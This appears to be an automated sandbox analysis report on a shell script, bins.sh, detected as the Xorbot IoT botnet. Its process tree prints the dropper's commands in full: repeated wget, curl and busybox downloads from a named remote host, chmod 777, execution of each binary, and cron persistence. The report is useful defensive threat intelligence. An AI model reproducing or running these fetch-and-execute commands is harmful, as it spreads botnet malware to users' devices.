Analysis

  • max time kernel
    134s
  • max time network
    153s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    23/01/2025, 00:56

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250123-bacabavpbl
  • SHA256 873c0bf88bb4a6c0f6fa73719af3038afdf97e0419f0779bfdf9bc56d296f5e5
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (799) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 31 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:704
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:711
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:713
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:728
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:736
      • /bin/chmod
        chmod 777 QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
        2⤵
        • File and Directory Permissions Modification
        PID:737
      • /tmp/QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
        ./QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
        2⤵
          PID:738
        • /bin/rm
          rm QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
          2⤵
            PID:740
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:741
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:742
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:744
          • /bin/chmod
            chmod 777 eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
            2⤵
            • File and Directory Permissions Modification
            PID:745
          • /tmp/eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
            ./eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
            2⤵
              PID:746
            • /bin/rm
              rm eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
              2⤵
                PID:748
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:749
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:769
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:779
              • /bin/chmod
                chmod 777 AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                2⤵
                • File and Directory Permissions Modification
                PID:801
              • /tmp/AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                ./AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                2⤵
                  PID:802
                • /bin/rm
                  rm AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                  2⤵
                    PID:804
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/9DbHs5qAUnecLFy2RjyKluaB3HLCOumWIC
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:805
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/9DbHs5qAUnecLFy2RjyKluaB3HLCOumWIC
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:806
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/9DbHs5qAUnecLFy2RjyKluaB3HLCOumWIC
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:808
                  • /bin/chmod
                    chmod 777 9DbHs5qAUnecLFy2RjyKluaB3HLCOumWIC
                    2⤵
                    • File and Directory Permissions Modification
                    PID:809
                  • /tmp/9DbHs5qAUnecLFy2RjyKluaB3HLCOumWIC
                    ./9DbHs5qAUnecLFy2RjyKluaB3HLCOumWIC
                    2⤵
                      PID:810
                    • /bin/rm
                      rm 9DbHs5qAUnecLFy2RjyKluaB3HLCOumWIC
                      2⤵
                        PID:812
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/WqTMHS4YK3dAnqzRv2gzHakkltwaNWlk4J
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:813
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/WqTMHS4YK3dAnqzRv2gzHakkltwaNWlk4J
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:814
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/WqTMHS4YK3dAnqzRv2gzHakkltwaNWlk4J
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:824
                      • /bin/chmod
                        chmod 777 WqTMHS4YK3dAnqzRv2gzHakkltwaNWlk4J
                        2⤵
                        • File and Directory Permissions Modification
                        PID:829
                      • /tmp/WqTMHS4YK3dAnqzRv2gzHakkltwaNWlk4J
                        ./WqTMHS4YK3dAnqzRv2gzHakkltwaNWlk4J
                        2⤵
                          PID:830
                        • /bin/rm
                          rm WqTMHS4YK3dAnqzRv2gzHakkltwaNWlk4J
                          2⤵
                            PID:833
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/gnrwrzGQK5X5XCesVEtiWzSM3pcZJBeOy7
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:835
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/gnrwrzGQK5X5XCesVEtiWzSM3pcZJBeOy7
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:852
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/gnrwrzGQK5X5XCesVEtiWzSM3pcZJBeOy7
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:854
                          • /bin/chmod
                            chmod 777 gnrwrzGQK5X5XCesVEtiWzSM3pcZJBeOy7
                            2⤵
                            • File and Directory Permissions Modification
                            PID:855
                          • /tmp/gnrwrzGQK5X5XCesVEtiWzSM3pcZJBeOy7
                            ./gnrwrzGQK5X5XCesVEtiWzSM3pcZJBeOy7
                            2⤵
                              PID:856
                            • /bin/rm
                              rm gnrwrzGQK5X5XCesVEtiWzSM3pcZJBeOy7
                              2⤵
                                PID:858
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/yKIvB9Ua5Q9Fg5J3myNrJHLzP13iGetqmx
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:859
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/yKIvB9Ua5Q9Fg5J3myNrJHLzP13iGetqmx
                                2⤵
                                • Reads runtime system information
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:860
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/yKIvB9Ua5Q9Fg5J3myNrJHLzP13iGetqmx
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:862
                              • /bin/chmod
                                chmod 777 yKIvB9Ua5Q9Fg5J3myNrJHLzP13iGetqmx
                                2⤵
                                • File and Directory Permissions Modification
                                PID:863
                              • /tmp/yKIvB9Ua5Q9Fg5J3myNrJHLzP13iGetqmx
                                ./yKIvB9Ua5Q9Fg5J3myNrJHLzP13iGetqmx
                                2⤵
                                  PID:864
                                • /bin/rm
                                  rm yKIvB9Ua5Q9Fg5J3myNrJHLzP13iGetqmx
                                  2⤵
                                    PID:866
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/BXS5qKqfwfnoFPt7Yr9z0bduumMpGLVpiQ
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:867
                                  • /usr/bin/curl
                                    curl -O http://conn.masjesu.zip/bins/BXS5qKqfwfnoFPt7Yr9z0bduumMpGLVpiQ
                                    2⤵
                                    • Reads runtime system information
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:868
                                  • /bin/busybox
                                    /bin/busybox wget http://conn.masjesu.zip/bins/BXS5qKqfwfnoFPt7Yr9z0bduumMpGLVpiQ
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:870
                                  • /bin/chmod
                                    chmod 777 BXS5qKqfwfnoFPt7Yr9z0bduumMpGLVpiQ
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:871
                                  • /tmp/BXS5qKqfwfnoFPt7Yr9z0bduumMpGLVpiQ
                                    ./BXS5qKqfwfnoFPt7Yr9z0bduumMpGLVpiQ
                                    2⤵
                                      PID:872
                                    • /bin/rm
                                      rm BXS5qKqfwfnoFPt7Yr9z0bduumMpGLVpiQ
                                      2⤵
                                        PID:874
                                      • /usr/bin/wget
                                        wget http://conn.masjesu.zip/bins/trdYKl6KHxs9OI1UgsktuKTqJVHEOA8fTG
                                        2⤵
                                        • System Network Configuration Discovery
                                        • Writes file to tmp directory
                                        PID:875
                                      • /usr/bin/curl
                                        curl -O http://conn.masjesu.zip/bins/trdYKl6KHxs9OI1UgsktuKTqJVHEOA8fTG
                                        2⤵
                                        • System Network Configuration Discovery
                                        • Writes file to tmp directory
                                        PID:876
                                      • /bin/busybox
                                        /bin/busybox wget http://conn.masjesu.zip/bins/trdYKl6KHxs9OI1UgsktuKTqJVHEOA8fTG
                                        2⤵
                                        • System Network Configuration Discovery
                                        • Writes file to tmp directory
                                        PID:878
                                      • /bin/chmod
                                        chmod 777 trdYKl6KHxs9OI1UgsktuKTqJVHEOA8fTG
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:879
                                      • /tmp/trdYKl6KHxs9OI1UgsktuKTqJVHEOA8fTG
                                        ./trdYKl6KHxs9OI1UgsktuKTqJVHEOA8fTG
                                        2⤵
                                          PID:880
                                        • /bin/rm
                                          rm trdYKl6KHxs9OI1UgsktuKTqJVHEOA8fTG
                                          2⤵
                                            PID:882
                                          • /usr/bin/wget
                                            wget http://conn.masjesu.zip/bins/S0FeUeMYPkFoAQt7IJDe0M6eoPXbOQRj8U
                                            2⤵
                                            • System Network Configuration Discovery
                                            • Writes file to tmp directory
                                            PID:883
                                          • /usr/bin/curl
                                            curl -O http://conn.masjesu.zip/bins/S0FeUeMYPkFoAQt7IJDe0M6eoPXbOQRj8U
                                            2⤵
                                            • System Network Configuration Discovery
                                            • Writes file to tmp directory
                                            PID:884
                                          • /bin/busybox
                                            /bin/busybox wget http://conn.masjesu.zip/bins/S0FeUeMYPkFoAQt7IJDe0M6eoPXbOQRj8U
                                            2⤵
                                            • System Network Configuration Discovery
                                            • Writes file to tmp directory
                                            PID:886
                                          • /bin/chmod
                                            chmod 777 S0FeUeMYPkFoAQt7IJDe0M6eoPXbOQRj8U
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:887
                                          • /tmp/S0FeUeMYPkFoAQt7IJDe0M6eoPXbOQRj8U
                                            ./S0FeUeMYPkFoAQt7IJDe0M6eoPXbOQRj8U
                                            2⤵
                                            • Renames itself
                                            • Reads runtime system information
                                            PID:888
                                            • /bin/sh
                                              sh -c "crontab -l"
                                              3⤵
                                                PID:890
                                                • /usr/bin/crontab
                                                  crontab -l
                                                  4⤵
                                                    PID:891
                                                • /bin/sh
                                                  sh -c "crontab -"
                                                  3⤵
                                                    PID:892
                                                    • /usr/bin/crontab
                                                      crontab -
                                                      4⤵
                                                      • Creates/modifies Cron job
                                                      PID:893
                                                • /bin/rm
                                                  rm S0FeUeMYPkFoAQt7IJDe0M6eoPXbOQRj8U
                                                  2⤵
                                                    PID:895
                                                  • /usr/bin/wget
                                                    wget http://conn.masjesu.zip/bins/gzplEAgfyHqLBPo38cUiub03HFtO30IRWU
                                                    2⤵
                                                    • System Network Configuration Discovery
                                                    PID:898

                                                Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      9DbHs5qAUnecLFy2RjyKluaB3HLCOumWIC

                                                      • Path /tmp/9DbHs5qAUnecLFy2RjyKluaB3HLCOumWIC
                                                      • Size 99KB
                                                      • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG

                                                      • Path /tmp/AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                                                      • Size 127KB
                                                      • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      BXS5qKqfwfnoFPt7Yr9z0bduumMpGLVpiQ

                                                      • Path /tmp/BXS5qKqfwfnoFPt7Yr9z0bduumMpGLVpiQ
                                                      • Size 117KB
                                                      • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji

                                                      • Path /tmp/QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
                                                      • Size 151KB
                                                      • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      S0FeUeMYPkFoAQt7IJDe0M6eoPXbOQRj8U

                                                      • Path /tmp/S0FeUeMYPkFoAQt7IJDe0M6eoPXbOQRj8U
                                                      • Size 151KB
                                                      • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      WqTMHS4YK3dAnqzRv2gzHakkltwaNWlk4J

                                                      • Path /tmp/WqTMHS4YK3dAnqzRv2gzHakkltwaNWlk4J
                                                      • Size 111KB
                                                      • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ

                                                      • Path /tmp/eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
                                                      • Size 112KB
                                                      • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      gnrwrzGQK5X5XCesVEtiWzSM3pcZJBeOy7

                                                      • Path /tmp/gnrwrzGQK5X5XCesVEtiWzSM3pcZJBeOy7
                                                      • Size 122KB
                                                      • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      trdYKl6KHxs9OI1UgsktuKTqJVHEOA8fTG

                                                      • Path /tmp/trdYKl6KHxs9OI1UgsktuKTqJVHEOA8fTG
                                                      • Size 141KB
                                                      • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      yKIvB9Ua5Q9Fg5J3myNrJHLzP13iGetqmx

                                                      • Path /tmp/yKIvB9Ua5Q9Fg5J3myNrJHLzP13iGetqmx
                                                      • Size 107KB
                                                      • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      tmp.h4YXJm

                                                      • Path /var/spool/cron/crontabs/tmp.h4YXJm
                                                      • Size 210B
                                                      • SHA256 16dac2ea93dbf0b815fd3e351ed2119c74bec38fdfd1169f5f0a09f6d82a7192
                                                      • MD5 SHA1 SHA512